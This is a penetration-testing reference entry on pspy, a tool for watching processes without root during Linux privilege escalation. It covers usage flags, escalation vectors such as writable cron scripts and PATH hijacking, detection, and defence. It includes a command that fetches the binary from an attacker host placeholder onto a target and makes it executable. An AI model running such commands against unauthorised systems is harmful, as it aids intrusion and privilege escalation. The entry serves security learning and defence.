pspy: spy on processes without root

pspy is a tool that lets you watch the processes running on the system in real time without being root. It is key during privilege escalation: many vectors (cron jobs, systemd timers, scripts launched by services) only reveal themselves by observing what runs and as which user, something a one-off ps misses if the process is short-lived.

How it works

Instead of asking for permissions, pspy watches the filesystem with inotify (over /proc and the scheduled-task directories) and lists every new process the moment it appears, with its PID, UID and full command line. That captures ephemeral processes (a one-second cron) that would otherwise go unnoticed.

Typical use

It is a static binary you upload to the target and run. There are 32- and 64-bit builds, with and without the standard library embedded:

wget http://<lhost>/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000

• -p watches processes, -f also watches file events (-pf = both).
• -i 1000 polls /proc every 1000 ms on top of the inotify events (catches what inotify misses).
• pspy32 / pspy64s for 32-bit architectures or smaller binaries.

If you can't upload the binary, a crude alternative is a Bash loop showing ps deltas (less reliable with very short processes):

while true; do ps -eo pid,user,cmd --sort=start_time | tail -5; sleep 1; done

What to look for

Processes running as root periodically: a script in a writable path (writable cron scripts), a binary with no absolute path (PATH hijacking), tar/zip with wildcards (wildcard injection), or utilities like logrotate (logrotate abuse) that touch files we control. The process frequency and UID tell you whether an elevation vector exists. Note the exact path and check permissions with ls -la.

Why it matters

It turns scheduled-task enumeration, which otherwise depends on reading /etc/crontab, /etc/cron.* and user crontabs (not always readable), into direct observation. If a root task is hidden in a private crontab (/var/spool/cron/crontabs/root) we cannot read, pspy gives it away by its execution.

How to detect it (attacker use). pspy itself fires no privileged syscalls, but it leaves a trace: a user process opening thousands of inotify watches and reading /proc/*/stat/cmdline massively and continuously is anomalous (visible with auditd over inotify_add_watch or by the descriptor count in /proc/<pid>/fd). On a monitored host, an unsigned binary in /tmp with that /proc access pattern is the indicator.

Defence. Do not run privileged tasks over files or directories writable by users; use absolute paths in cron scripts; minimise what runs as root periodically. Related to writable cron scripts and logrotate.